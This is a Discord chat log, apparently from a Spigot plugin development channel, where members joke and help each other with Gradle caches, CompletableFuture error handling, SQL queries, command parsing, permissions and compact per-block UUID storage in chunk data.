#help-development

1 messages · Page 882 of 1

remote swallow
#

or are blocks girls

tender shard
#

it's the block, so it's neutral

quaint mantle
#

dude you guys are actual nerds

#

I find it great but overwhelming

remote swallow
#

choco is the nerd here

tender shard
#

yeah he wears glasses

remote swallow
#

or illusion sometimes

tender shard
#

he wears glasses too

river oracle
#

I wear glasses does that mean I'm a nerd

quaint mantle
#

Illusion big nerd too, he smarty pants

sullen wharf
river oracle
#

Illusion loves OOP too much

sullen wharf
#

trust me he is a nerd

quaint mantle
#

He helps me all the time, bro knows Mojang/Spigot like the back of his hand

sullen wharf
#

🙏

young knoll
#

Thank god I don’t have glasses

#

Wait

remote swallow
#

he says

tender shard
river oracle
#

@tender shard I'm curious for a second

#

can you try to add that dependency on a gradle project

tender shard
#

ok

#

works

river oracle
#

bro what the truck

#

how do I just reset my gradle to not be horrible to me like this

remote swallow
#

clear gradle cache

tender shard
#

what happens if you just access a class and ignore the IJ errors?

river oracle
#

gimme a couple minutes

remote swallow
#

see if you can import a class without intellissense

river oracle
#

gotta look up the imports

#

wait I'ma just look at the javadocs

young knoll
#

You don’t know your imports by heart?

tender shard
young knoll
#

Pffft

remote swallow
tender shard
#

com.github.spigotbasics.core.config.CoreConfigManager

remote swallow
#

nerd

#

i know the bukkit package

tender shard
#

and the constructor takes in a MessageFactory and a File object

young knoll
remote swallow
#

no

young knoll
#

Okay but yes

river oracle
remote swallow
#

tis me.jishuna.jishlib.config.ConfigApi$ConfigurationManager

river oracle
#

I'd have to rip out everything

tender shard
#

I should move this to a NamespacedNamespacedKeyFactoryFactory, shouldnt I?

river oracle
#

I have to recode it all without Intelilsense

young knoll
#

You asked for the package

river oracle
#

Ig I'll do that after I eat

remote swallow
#

besides the point

river oracle
#

i cbf frankly

young knoll
#

It’s quick easy to remember packages when it’s always me.jishuna.pluginname.whatever

tender shard
#

kek I couldnt resist

remote swallow
#

get the shit lib out of here

tender shard
echo basalt
echo basalt
echo basalt
tender shard
#

on your profile pic you baboon

sullen wharf
#

lmfao

echo basalt
#

oh yeah

tender shard
#

illusion is monke confirmed

river oracle
echo basalt
#

mf lukas calls me an abstract artist

#

pfp checks out

tender shard
#

the only artist here is cmarco

echo basalt
#

ah yes

#

the legendary cmarco

sullen wharf
#

he truly

echo basalt
#

finally someone with more professions than you

sullen wharf
#

illusion hasnt been implemented yet

#

his brain is abstract

echo basalt
#

what's the problem with an interface and skeleton implementation for each individual class?

#

It's called SOLID bro 🤪

sullen wharf
#

🤪

echo basalt
#

meanwhile lukas every time he sees my code

river oracle
tender shard
echo basalt
#

🤨

#

since when are you using my code

#

other than the snippets I just spat out in the basics channel

#

from projects I wrote a year ago

river oracle
#

Speaking of I just thought up this great platform agnostic skyblock plugin

#

I've done pretty good in progress

sullen wharf
river oracle
#

It's much cleaner now

echo basalt
#

yall mfs trolling me at this point

young knoll
#

Your import statements were just copied from the first person ever to write import statements

#

Smh

river oracle
ornate heart
#

@solar musk fight back!

river oracle
#

@tender shard I'm so stupid

#

I never added my own repo

tender shard
#

but gradle should have complained about that

river oracle
tender shard
#

huh

river oracle
#

any way I can like hard clear all my projects caches

#

I feel like switching both my JDK and to gradle kotlin has fucked some things up

#

fuck it we ball

tender shard
#

i also always additionally delete the .idea folder in the project

river oracle
#

alr

#

seems like a good plan

remote swallow
river oracle
#

epic fail

tender shard
#
find ~/IdeaProjects -name .idea -delete

i should run that in a cronjob

remote swallow
#

kek

river oracle
remote swallow
#

kek

tender shard
#

extension functions are so nice

fervent robin
#

Hey if I dont care about the result of a completable future should I just put null for the methods argument or just new CompleteableFuture()

#

I care about the result in some methods but not all

river oracle
#

never create a CompeltableFuture with the constructor unless you 100% know what you're doing

fervent robin
#

What

river oracle
#

if you want to provide an output without going async use CompletableFuture.completedFuture

#

it'll just wrap the result

remote swallow
#

id recommend returning a CompetableFuture<Void> with runAsync

#

makes it easier if you need to know when it finished but not the result

tender shard
fervent robin
#

Well I care about the result most times its just in a unit test I dont care

river oracle
young knoll
tender shard
young knoll
#

Meh

#

It’s still one like with java

fervent robin
tender shard
#

the nice thing is that I can just throw partialMatches(args) at the end of any string list instead of having to either add a local var, or throwing a long method call chain into StringUtil

remote swallow
#

do you need to run that after the future passed?

fervent robin
remote swallow
#

the code

tender shard
#

why doesn't setCoins just return a new future?

remote swallow
#

idk why you pass a future here if you just complete it from its own result

tender shard
#

yeah

fervent robin
#

ngl ive been coding for like 7 hours straight no breaks

#

my brain is fried

remote swallow
#

try and explain what this is meant to do and what the variables are for

tender shard
#

usually you'd just do

public CompletableFuture<Void> setSomething(...) {
  return CompletableFuture.runAsync {
    // do db stuff
  }
remote swallow
#

^^

fervent robin
#

oh shit aright

hazy parrot
#

alex is just too used to kotlin right now as it seems xd

tender shard
#

you also don't need a boolean because you can just get the thrown exception in whenComplete or whatever

fervent robin
#

the boolean is for a unit test

remote swallow
tender shard
#

i dont remember how the syntax is in java

#

runAsync(() -> or what

remote swallow
#

ye

tender shard
#

yikes

fervent robin
#

but its not possible really

hazy parrot
#

then rewrite ¯_(ツ)_/¯

river oracle
#

you know you can force a CompletableFuture to run synchronously right?

#

if you don't want it to run asynchronously just use CompletableFuture#join

fervent robin
remote swallow
#

for the unit test

fervent robin
#

Oh, the completablefutures are not for the unit tests

young knoll
#

Huh I never thought about using the exception rather than CompletableFuture<boolean>

fervent robin
#

just returning the boolean

remote swallow
#

whats the boolean for then

tender shard
young knoll
#

Who cares about why

#

It’s just about if

remote swallow
#

if you need to know wether the function passed and saved it you return a cf<void> and check for exceptions

tender shard
#
if(myFuture.get() == FailReason.SUCCESS) { // nice
river oracle
#

@remote swallow lmao

#

-2,305

remote swallow
#

do i have to review that

river oracle
#

please just give it a once over

#

make sure I didn't forget anything

young knoll
#

Tf did you do to remove that many lines

tender shard
#

ugh if you removed 2100 lines you must have forgotten something

remote swallow
#

build src

river oracle
#

so it was removed from the library

#

oh I did forget something

#

I forgot the checkstyle

fervent robin
#

instead of just one time in the actual method

remote swallow
#

no

#

future.whenComplete(val, ex -> if ex != null it failed

#

instead of ex.print you throw it again

remote swallow
#

bc i swear that was false

young knoll
#

But when complete is for nerds

#

thenAccept is for cool people

river oracle
remote swallow
#

huh

#

can you change that to false is should be false

river oracle
#

sure

remote swallow
#

ty

young knoll
river oracle
#

want me to do a code review on your lib?

#

@young knoll switch to pineapplechat

#

now with legacy platform

remote swallow
#

do u wanna remove this or put it behind a var in core

river oracle
#

oh shit I gotta remove that

young knoll
#

Want me to do a code review on your lib

#

Boomer

river oracle
#

Pineapple is still big WIP so code review wouldn't be super beneifical

young knoll
#

Yeah uhh

#

0/10

remote swallow
#

from a quick look this looks fine just check it compiles everything from a clean build

river oracle
#

alr

river oracle
#

@remote swallow oh yeah gotta double check the NMS stuff too

#

almost forgot

#

make sure my buildSrc applies it correctly

remote swallow
#

it looks like its got everything just wether it still remaps properly

young knoll
#

Who wants to make spigot2 with me

#

Basically no api, raw NMS, and mixins

river oracle
#

@remote swallow bad news I failed checkstyle

river oracle
remote swallow
fervent robin
tender shard
fervent robin
#

Do you guys have any good resources for learning about completable futures?

wet breach
#

Google

tender shard
fervent robin
#

thanks

remote swallow
wet breach
#

Someone should pin that before its lost forever

river oracle
#

@remote swallow oopsies forgot to add dependencies the jar was empty lmao

remote swallow
remote swallow
#

this proves im tired as balls

wet breach
#

Lol

river oracle
#

@remote swallow lets go

> Task :pineapple-nms:spigot-v1_20_R2:remap
Successfully obfuscate jar (spigot-v1_20_R2, MOJANG_TO_SPIGOT)
remote swallow
#

woop woop

worthy yarrow
#

Anyone wanna give my towny cooldown plugin a review? 😄

river oracle
#

1.21 my dear

young knoll
#

What about 1_20_R3 smh

worthy yarrow
river oracle
young knoll
fervent robin
young knoll
#

Are you ready for 1_20_R4

river oracle
#

I got my auto updater prepped

#

ready to auto update

young knoll
#

Is it prepared to handle packet codecs

river oracle
#

yeah I don't use any packets

#

I delegate most of my Inventory stuff through bukkit

remote swallow
#

josh do you even know about that yet

river oracle
#

I wonder if I should make a spigot forums post on how to create Anvil Menus and such

#

I feel like that might be helpful

young knoll
#

What do you mean do I know about it

remote swallow
#

do you know we have it'

young knoll
#

How would I have mentioned it if I didn’t know about it

remote swallow
#

sus

worthy yarrow
remote swallow
#

meh i think its late enough

young knoll
#

Anvil menus are pretty easy

#

Api for them when tho

remote swallow
#

now to go watch tiktoks for half an hour and try and have my brain work

river oracle
#

@remote swallow it remaps

remote swallow
#

woop woop

river oracle
#

I project its going to be post ItemType and registry mergals

#

I highly doubt my stuff gets merged prior to the great enum killing

remote swallow
#

night nerds

river oracle
#

@remote swallow merged

worthy yarrow
#

Take care man

young knoll
#

He’ll be back in 5 minutes to show off a TikTok

#

Calling it

river oracle
#

lo

remote swallow
#

that will only be dms

river oracle
remote swallow
#

also depends on what i see

young knoll
#

What other menus are there that don’t work via api

#

I guess enchanting

river oracle
#

as far as the open methods enchant is the only broken one

tender shard
#

Inventories suck

young knoll
#

I think I’ve used the 3x3 before without issue

#

Could be wrong tho

river oracle
river oracle
#

mostly because it has no function

young knoll
#

Tbf most other inventories don’t have much use

#

How often do you need a portable cartography table

worthy yarrow
river oracle
#

the thing with that though is either way I gotta kinda change InventoryView to an interface which is breaking

young knoll
#

Not if you asm it

#

Maybe

river oracle
#

I don't think any of the registry ASMing stuff has been merged

#

at that point I'd probably be more comfortable splitting it up seeing as I know it'd be more likely to get merged

young knoll
#

Depends on the complexity ig

fervent robin
#

How do I return a completeable future with an exception without using the constructor?

young knoll
#

We fixed a typo with asm once :p

river oracle
fervent robin
#

Is it really that to bad to use the constructor? Because all the guides use it

young knoll
#

Problem is that’s the breaking PR

river oracle
#

the static helper methods give you everything you need

young knoll
#

So not the best first step

river oracle
#

yeah

#

but there isn't really any other realistic step that can be taken without it

young knoll
#

Make a new interface for it

#

:p

fervent robin
river oracle
fervent robin
young knoll
#

It’s what we’re doing with material afaik

river oracle
slender elbow
#

pretty much the only reason you'd use the constructor for it is when you're adapting from one kind of future/asynchronous computation to CF

river oracle
#

it just needs to be an interface

#

whereas Material is just being destroyed basically

young knoll
#

Just gotta change all those invokeVirtual to invokeInterface

river oracle
#

yeah I already wrote the asm minus the fact It needs to be updated since doc updated the asm a bit ago

#

but the issue with splitting this PR up is everything stems from that asm remap

#

I could probably get away with doing the working Virtual Inventories, but I kinda want to not encourage the use of those right before we rip out InventoryType

young knoll
#

Have you considered time travel

#

It’s even more powerful than ASM

river oracle
#

since you have the in do you know what the timeline-ish is for switching over to interfaces from abstract classes?

young knoll
#

For what?

river oracle
#

for pretty much everything that is registry backed

#

there were a few that were abstract classes that need to become interfaces

#

e.g. Enchantment as one

young knoll
#

It’s going to abstract classes

young knoll
#

The one to master uses abstract classes

#

🙃

river oracle
young knoll
#

Uhh

#

Now brain hurt

river oracle
#

I wish people would jira request performance fixes lol

#

I don't have a big enough server to stress test

young knoll
#

¯_(ツ)_/¯

#

Idk where those would even go

#

Previous changes say spigot, but we are also kinda moving away from spigot patches

river oracle
#

not really a huge deal

fervent robin
river oracle
#

don't print stacktrace throw a RuntimeException or IllegalStateException and leave it for the returned future to handle. The best approach here is like so

public CompletableFuture<Void> executeStatement(String statement, List<?> variables) {
        return CompletableFuture.runAsync(() -> {
            try (Connection connection = getConnection();
                 PreparedStatement pstmt = prepareStatementWithParameters(statement, variables)) {
                pstmt.executeUpdate();
                return null;
            } catch (SQLException e) {
                throw new IllegalStateException(e); // run down to later in the chain. This won't stop the main thread
            }
        });
    }

example use

var statement;
var variables;
executeStatement(statement, variables).whenComplete((var _, var exception) ->{
  if (exception != null) { // properly handle the error when the transaction completes
    Logger.log(Level.SEVERE, "Failed to execute statement: " + statement + ". Error: " + e.getMessage(), e);
  }
});
young knoll
#

Can you not just have it automatically throw the exception to the future

#

By omitting the catch block

river oracle
#

I wish you could

young knoll
#

Sadge

river oracle
#

debating on whether I should write

young knoll
#

More virtually

#

Oh wait, “and more virtually”

river oracle
#

comma added

#

Creating Anvils and More, Virtually

young knoll
#

That works

#

I think idk English

kind hatch
#

I hate time math on the millisecond level.

young knoll
#

Shouldn’t be that hard?

river oracle
#

Shadow is american I'm pretty sure

young knoll
#

You also have TimeUnit

river oracle
#

I understand the pain

echo basalt
#

yo nerds

young knoll
#

Ah right you people don’t understand powers of 10

#

Kek

echo basalt
#

does adventure have a way to convert to nms comp?

kind hatch
#

I mean, I probably am overcomplicating it, but yea. I'm still gonna complain. lol

young knoll
wet breach
kind hatch
#

Formatting it the way I want mainly.

river oracle
echo basalt
#

yeah prob

young knoll
#

Isn’t there a nice formatter for time

river oracle
#

yes

young knoll
#

What’s the thing called again

river oracle
#

DateTimeFormatter

young knoll
#

That one

wet breach
#
public static String withLargeIntegers(double value) {
    DecimalFormat df = new DecimalFormat("###,###,###");
    return df.format(value);
}

int value = 123456789;
assertThat(withLargeIntegers(value)).isEqualTo("123,456,789");
#

There you go if you want to add commas

#

Not that hard uwu

young knoll
#

Here’s what I use to format mills to a nice output

#

private static final DateTimeFormatter FORMATTER = new DateTimeFormatterBuilder()
            .optionalStart()
            .appendValue(ChronoField.HOUR_OF_DAY)
            .appendLiteral(':')
            .optionalEnd()
            .appendValue(ChronoField.MINUTE_OF_HOUR, 2)
            .appendLiteral(':')
            .appendValue(ChronoField.SECOND_OF_MINUTE, 2)
            .toFormatter()
            .withZone(ZoneId.systemDefault());
kind hatch
#

I'm just trying to format the milliseconds similar to 12.05 seconds

wet breach
#

Also there is 86400000milliseconds in a day

wet breach
#

You just need a math method

river oracle
kind hatch
#

Well, I struggle sometimes, ok.

short pilot
#

This should be so simple but I can't seem to figure it out

How do you get the damage of the item in the player's hand? Like a Sword

#

Damage referring to Attack Damage

young knoll
#

That’s the fun part

wet breach
#

First convert to seconds by dividing the millis by 1000. Then you divide by 60.

young knoll
#

I believe you need to check the attributes, then the enchantments, then the players potion effects

#

And probably other stuff I forgot

#

If you only care about the item itself you can just do attributes and enchantments

short pilot
#

im confused on how to grab attributes and enchants

young knoll
#

It’s all in ItemMeta

#

Do note that if there are no attributes on the ItemMeta you’ll instead have to check Material#getDefaultAttributes

kind hatch
young knoll
#

You’re doing integer division

worthy yarrow
#

Hey coll would you be available for some honest feedback on a niche towny addon I made?

young knoll
#

So you’ll always get an integer

kind hatch
#

You know, that would make sense.

young knoll
#
long test = TimeUnit.NANOSECONDS.toMillis(end - start);
System.out.println(test);
System.out.println(test / 1000f); // Seconds
System.out.println(test / 1000 / 60f); // This gives me 0
#

Should work

kind hatch
#

Yea, that worked.

#

I'm just bad at life.

wintry lynx
fervent robin
young knoll
wintry lynx
#

v1_20_R2 instead of v1_20_R3

#

:I

worthy yarrow
young knoll
#

R2 is correct for 1.20.2

fervent robin
worthy yarrow
#

And there have been a couple updates since, so I'm just impatient

wintry lynx
#

Why i have both? Idk

worthy yarrow
young knoll
#

Well you should only have one

#

If you are using 1.20.2

wintry lynx
#

Dude... Im the smartest man alive

young knoll
#

Make sure all your dependencies are 1.20.2

wintry lynx
#

How did I even manage to do that?!

worthy yarrow
#

We all just happen to be human eh?

wintry lynx
#

Also I now have it set to only give the effect only when one breaks or places a block so its not every single tick running 400 methods lol

wintry lynx
worthy yarrow
#

Happens to everyone haha... I'm certainly not anything special when it comes to a spigot dev haha

wintry lynx
#

I just typed 4 for no reason at all

kind hatch
#

What rounding mode do I need to use for DecimalFormat to not round at all?

worthy yarrow
#

Nah you typed 4 because its the most recent version which is common practice to keep up to date... just good practice got in the way of intended function is all

wintry lynx
wintry lynx
kind hatch
#

DecimalFormat does it by default.

wintry lynx
#

Yea no clue. Never use Decimalformat

kind hatch
#

I'm gonna have to resort to string modifications aren't I?

worthy yarrow
wintry lynx
worthy yarrow
#

Except perhaps the simple implementation of a 2 instead of a 4 😛

young knoll
#

Don’t worry

#

10 years later and I still sometimes forget to register events

wintry lynx
worthy yarrow
#

See all we can be is just human haha

#
String subcommand = args[0];
   switch (subcommand){
       case "remove":
          Player targetPlayer = Bukkit.getPlayer(args[1]);
            if (targetPlayer == null) break;
            if (!CooldownTimerTask.hasCooldown(targetPlayer.getName(), "TownHop Cooldown")) break;

            if (CooldownTimerTask.hasCooldown(targetPlayer.getName(), "TownHop Cooldown")){
               CooldownTimerTask.getCooldowns().remove(targetPlayer.getName(), "TownHop Cooldown");
               player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&l&c " + targetPlayer.getName() + "&r&f have had their cooldown &l&c removed&r!"));
               break;
         }
               break;
         case "start":
            targetPlayer = Bukkit.getPlayer(args[1]);

             if (targetPlayer == null) break;
             if (CooldownTimerTask.hasCooldown(targetPlayer.getName(), "TownHop Cooldown")){
                 player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&l&c " + targetPlayer.getName() + "&r is already on&l&c cooldown!"));
                 player.sendMessage(ChatColor.translateAlternateColorCodes('&', epirateTownyAddon.getRemainingCooldownHours(targetPlayer)));
              break;
              }
              if (!CooldownTimerTask.hasCooldown(targetPlayer.getName(), "TownHop Cooldown")){
                int cooldownTime = Integer.parseInt(args[2]);
                CooldownTimerTask.addCooldownTimer(targetPlayer.getName(), "TownHop Cooldown", cooldownTime);
                player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&f Started cooldown on &l&c" + targetPlayer.getName() + "&r for &c&l" + cooldownTime + "&r seconds!"));
               break;
            }
               break;
          default:
              player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&f Usage : &l /cooldown &c remove &f | &a start &f {Player Name} (duration, in the case of starting a cooldown)"));
                break;
        }```
#

Does this look correct for handling mutliple command arguments?

young knoll
#

I notice you make a call to args[1]

#

Do you ensure that exists before doing so

worthy yarrow
#

Ehm no I do not... haha let me fix that

desert loom
#

the second if in the first switch case seems redundant

worthy yarrow
#

forgot to remove

wintry lynx
worthy yarrow
wintry lynx
#

It scares me

fervent robin
#

Much cleaner

worthy yarrow
#

Yeah I was looking at an example of that, though there's literally only /cda (args) + functions and /cooldown which only returns a message

#

Seemed a bit complex for only 3 total functions imo

young knoll
#

You could create methods for the two sub commands

#

And call them from the switch

fervent robin
#

that too

worthy yarrow
#

Such as a string method + check that args(x) = return of string method?

#

Or do you mean function methods?

#

ie case x:

subCommandFunction();

young knoll
worthy yarrow
#

Ah gotcha

fervent robin
vocal cloud
#

You'd likely want to queue a sync task that handles the result

fervent robin
#

supplyAsync requires a value be returned

young knoll
#

You just return it

#

CompletableFuture.supplyAsync(() -> {
return 7;
});

vocal cloud
#

Wait, why can't you return it?

#

I'm super confused as to the issue you're having.

fervent robin
#

Line 12 or the line that tries to returns it has a Unexpected return value error

#

Because that return is returning to the whenComplete

fervent robin
vocal cloud
#

Your first future seems redundant? I'm assuming executeQuery returns a future which you could then return it?

wet breach
#

Oh we talking about code nvm

fervent robin
#

lmao

vocal cloud
#

Btw you can just return the future completableFuture.whenComplete and it works

#

If that's what you're looking for

#

becomes

river oracle
#

Inventories nd stuff

#

its my thing now

fervent robin
#

that still doesn't allow me to return resultSet.getInt("amount") unfortunately

vocal cloud
#

I'm going to get my big spoon

#

🥄

fervent robin
#

lmao

#

async hurts my head in general

vocal cloud
#

As I just said, you're redundantly wrapping it in a future when you don't need to.
As long as the DB actually returns a ResultSet CF this code will work (replace the new with the db call)

    public CompletableFuture<Integer> getCoins(Player player) {
        String query = "SELECT amount FROM coins WHERE UUID = ? LIMIT 1";
        CompletableFuture<ResultSet> completableFuture = new CompletableFuture<ResultSet>();
        return completableFuture.handleAsync(((resultSet, exception) -> {
            if(exception != null) {
                return 1;
            }
            try {
                if (resultSet.next()) {
                    return resultSet.getInt("amount"); // Can't return here :(
                }
            } catch (SQLException e) {
                Bukkit.getLogger().severe("Failed to get coins for " + player.getName());
                e.printStackTrace();
            }
            return -1;
        }));
    }
fervent robin
#

so handleAsync is also the difference?

fervent robin
#

thanks for the help though

vocal cloud
#

Personally I'd write a function that takes in a consumer

#

That way I don't have to write all the logic for unwrapping n shit

#

then you can write a function called spendCoins(sup) where the sup is your anon function to spend the coins or w/e and then you can automatically update the DB and then also run it sync without having to write the same code 100x

worthy yarrow
# young knoll Ye
if (args.length >=2) {

            String subcommand = args[0];
            switch (subcommand) {
                case "remove":
                    Player targetPlayer = Bukkit.getPlayer(args[1]);
                    if (targetPlayer == null) break;
                    removeCooldown(player, targetPlayer);
                    break;
                    
                case "start":
                    if (args.length < 3) {
                        player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&f Usage : &l /cda &a start &f {Player Name} (duration)"));
                        break;
                    }
                    targetPlayer = Bukkit.getPlayer(args[1]);
                    if (targetPlayer == null) break;
                    int duration = Integer.parseInt(args[2]);
                    startCooldown(player, targetPlayer, duration);
                    
                default:
                    player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&f Usage : &l /cda &c remove &f | &a start &f {Player Name} (duration, in the case of starting a cooldown)"));
                    break;
            }
        }```
This look better?
fervent robin
#

I would move the target player variable out of the switch statement so u dont have to repeat the same code

worthy yarrow
#
public void removeCooldown(Player player, Player targetPlayer){
        if (CooldownTimerTask.hasCooldown(targetPlayer.getName(), "TownHop Cooldown")) {
            CooldownTimerTask.getCooldowns().remove(targetPlayer.getName(), "TownHop Cooldown");
            player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&l&c " + targetPlayer.getName() + "&r&f has had their cooldown &l&c removed&r!"));
        } else player.sendMessage(ChatColor.translateAlternateColorCodes('&', "Target &l&c" + targetPlayer.getName() + "&r does not currently have a cooldown!"));

    }
    public void startCooldown(Player player, Player targetPlayer, int duration){

        if (CooldownTimerTask.hasCooldown(targetPlayer.getName(), "TownHop Cooldown")) {
            player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&l&c " + targetPlayer.getName() + "&r is already on&l&c cooldown!"));
            player.sendMessage(ChatColor.translateAlternateColorCodes('&', epirateTownyAddon.getRemainingCooldownHours(targetPlayer)));
        }
        if (!CooldownTimerTask.hasCooldown(targetPlayer.getName(), "TownHop Cooldown")) {
            CooldownTimerTask.addCooldownTimer(targetPlayer.getName(), "TownHop Cooldown", duration);
            player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&f Started cooldown on &l&c" + targetPlayer.getName() + "&r for &c&l" + duration + "&r seconds!"));
        }

    }```

these are the resulting function methods
#

Btw, do I have to format duration for the string?

fervent robin
young knoll
#

You can skip the hasCooldown before removeCooldown

#

Since map.remove will return either null or the value previously mapped to said key

#

Which you can then check

worthy yarrow
young knoll
#

Something like

#

Object cooldown = map.remove(key);

if (cooldown == null) {
// were not on cooldown
} else {
// were on cooldown
}

worthy yarrow
#

Ah ok I actually really like that

#

Ehm

#

nvm

#

haha

desert loom
worthy yarrow
#

Had meant to change it

#

But you are correct else makes more sense, I was just trying to split the functionality up a bit to test a couple things

worthy yarrow
#

Wait sorry I am just a bit slow

#

Does anyone know what reset vaults are?

young knoll
#

Uhh

#

A vault to store items when the map resets

worthy yarrow
#

Ah gotcha

wintry lynx
#

anyone know a good way to check the number of blocks (Of specific type) in a structure?

fervent robin
young knoll
#

You generally shouldn’t return result sets

#

Because they are closed as soon as the statement that creates them is closed

#

There’s CachedRowSet or just read it all into a data object first

fervent robin
#

Alright 👍

whole stirrup
#

My command's plugin does not tab complete when I specify a permission for the command in the plugin.yml. I'm assuming it thinks I don't have the permission so it pretends the command doesn't exist even though I do? I can still run the command but the chat box thing pretends the command doesn't exist and won't tab complete it.

I've double checked the permission, I 100% have it cause I wouldn't be able to do the command otherwise. If I remove the permission property of my command it works fine. I'm not op'd

If I op myself and then deop myself it starts working. Is it a bug then?

dense raft
#

Duck 👊👍

blazing plank
#

Huh

whole stirrup
river oracle
#

iirc commands don't tab complete without ine

#

Did you try specifying a TabCompleter for your sub arguments

whole stirrup
#

Yup

#

Tab complete works normally for all of my other commands that don't do any sort of permission checking

river oracle
#

What are you doing to add the permission to yourself

whole stirrup
#

Using PermissionAttachment

#

I'm definitely getting the permission otherwise it wouldn't let me execute the command

river oracle
#

Show me the code and plugin.yml

#

?paste

undone axleBOT
whole stirrup
#

And I have registerCommand("setrank", new SetRankCmd());

#

Tab complete works when I remove the permission bit from the plugin.yml

river oracle
#

What is registerCommand?

#

That's not a method on spigot

whole stirrup
#

private void registerCommand(String name, MLCommand cmd)
{
getCommand(name).setExecutor(cmd);
getCommand(name).setTabCompleter(cmd);
}

river oracle
#

Ahk

whole stirrup
#

I'm almost convinced this is a bug

#

Cause there's absolutely no reason for why it shouldn't be tab completing

river oracle
#

Can't hurt to make a jira report. Make sure you are on a spigot server, include the code and bug. Ensure you give good steps to reproduce. I'd give a dumbed down example with less moving parts

#

?jira

undone axleBOT
river oracle
#

If you can't reproduce In a less complex example you're likely doing something wrong and we both missed it

sullen marlin
#

if you're adding the permission late you'll need to call Player.updateCommands

whole stirrup
#

Cause I'm adding the permissions the moment they join in the player join event

wintry lynx
#

Is there an efficient and safe way to check for nearby Mob Spawners. I need to pretty much check an entire structure for spawners and run code if none exist

upper hazel
#

is cast safe to "number = (T) object;" if before that I checked the object type via Instanceof?

#

intelji dont think so

#

i know this ganaric but is there a chance to get ClassCastEx?

valid burrow
#

is there any object that lets me define an area

#

eg a cube

upper hazel
#

starts with "box" I think

shadow night
valid burrow
#

i need to save all of the regions in hashmap

#

so id need 2 hashmaps then

#

or a list inside a hashmap

shadow night
#

Just make a class that will save a region from to

valid burrow
#

both are annoying

#

yh ig

#

i thought we already had sometzhing like this though

#

guess i though wrong

shadow night
#

Well, if you do not know it, make it yourself.

#

Also, from what I remember, java has a Point class got defining points in a 2d space

valid burrow
#

its 3d

#

also

#

?paste

undone axleBOT
valid burrow
#

if anyone ever feels the need to use it here you go

shadow night
# valid burrow its 3d

According to chatgpt, there is a Point3D (and I think you can also use Vector3s or something)

valid burrow
#

well yh

#

now i already got my method

#

works so idc

shadow night
#

Nice

#

Why would you compare worlds by equals tho

#

If they're the same world, wouldn't they reference the same obj in mem?

valid burrow
#

idk

#

intellij forced me to

#

xd

shadow night
#

Lol

valid burrow
#

it told me "warning do this"

#

and i was like

#

what ever you say intellij

shadow night
#

Lol

proud badge
#

Hi, I'm trying to make a plugin where every placed block by a player has a UUID of the player attached to it. I wonder whats the best storage efficient way to do this? My first thought was to use block PDC, but storing a UUID which is 128 bits in every single block isnt a good idea. Then I thought about putting in the chunk's PDC, player's UUID as the key and an array of chunk coordinates at the locations, but I cant have a UUID as a pdc key and having it as a string will take up way more storage

sullen marlin
#

You either put it in the chunk or a separate database

#

There's no other options

proud badge
#

Ok I'll put it in the chunk, is there a way to optimise this more?

#

Putting it in a database defeats the purpose of what im trying to do, coreprotect already puts it in a database

sullen marlin
#

Not really. The block location in the chunk can be packet into an int

#

So 4 bytes per block + ~3 bytes for player uuid and list overhead

#

Not bad in the scheme of things

shadow night
#

well, it's definitely not gonna use up gigs

proud badge
shadow night
#

it has methods for that

proud badge
#

Still, namespaced keys must be a string

shadow night
#

¯_(ツ)_/¯

proud badge
#

would it be possible to somehow convert a UUID to a string, but compact it in a way where its only a few characters long instead of 36?

drowsy helm
#

use a palette like they do with chunks

shadow night
#

since the UUID returns the most sig and least sig bits as longs, could you somehow utilize that, I wonder

drowsy helm
#

bitmask chunk section > layer palette, would save heaps of mem

proud badge
#

ok chatgpt told me to go uuid->long->base64

drowsy helm
#

that would still take up heaps of space

shadow night
#

ye

#

ig a pallete will save up tons of memory in this case

#

or is it palette

#

I hate words like this

drowsy helm
#

split chunk into 256 layers, each layer having 16*16 2d byte array, each byte in array points to index on a uuid array, simple

#

1 byte per block

#

minimum sizeof uuid, maximum 256 * sizeof uuid

#

but probability is uuid palette is < 10 so always saving mem

#

then if you want, bitmask each layer so its 1 bit per block, and an additional byte if the bit is flipped

#

so 256 bits per layer, if you use the bitmask a chunk will be 8192bytes minimum

#

whats the implementation

#

sounds like a weird workaround

#

cant use the skyblock api?

proud badge
drowsy helm
#

ideally, yes

#

It's the same way that minecraft compresses their chunk data

tender shard
proud badge
#

Rip

drowsy helm
#

you could share bytes or some shit to reduce mem but using a byte with a 16x16 subsection of a chunk ensures each block can be individually id'd without confliction

#

so at a minimum it'll use 65536 bytes per chunk

#

65536 bits if you bitmask it first

drowsy helm
#

what permissions specifically

#

surely they support party play

#

ah

#

ig you just have to assign it to each member individually then keep track of it somewhere

#

wouldn't hurt to re-assign it on login or smth

#

the custom permissions

#

is that your plugins' permissions?

#

or unrelated

#

hmm

#

thats a pain in the ass

tender shard
# proud badge ok chatgpt told me to go uuid->long->base64

just store it as binary

INSERT INTO your_table (uuid_column) VALUES (UNHEX(REPLACE('your-uuid-string-here', '-', '')));

SELECT INSERT(INSERT(INSERT(INSERT(HEX(uuid_column), 9, 0, '-'), 14, 0, '-'), 19, 0, '-'), 24, 0, '-') AS uuid_string FROM your_table;

#

BINARY(16)

drowsy helm
#

16 bytes per block seems excessive

shadow night
proud badge
#

but thanks ill try

tender shard
#

what are you using?

proud badge
#

PDC

drowsy helm
#

could you give an example of a permissions you want the whole group to have

#

that can't be assigned individually

tender shard
#

ah for PDC just use 2 longs

proud badge
#

So you can have PDC namespaced keys as longs? or do you mean 2 longs as the value?

drowsy helm
#

nah I get you

#

you using a db?

#

an rdbms could be really handy

#

sec ill draw something up quick

proud badge
#

Okay so an integer as the key (chunk coordinates), and two longs as the value (uuid)?

#

Integer parsed as string* since I cant store an integer as a pdc key

#

Though this system still means I have a PDC per every single block, which will take up lots of storage

drowsy helm
#

something like that

#

and you can do an easy lookup

#

or literally just store an array of island id's on the player

#

Like i said Ned, the only way to do it without blowing up your storage is the way i described

proud badge
#

Ok

proud badge
#

also chunks are 384 now

#

not 256

drowsy helm
#

would have to be a palette and layer pdc separately

#

but yes 1 per y level

#

do some research on the minecraft chunk format and compression, its pretty smart and would help you a lot

#

all you really need to know is the sections and block palette shit

proud badge
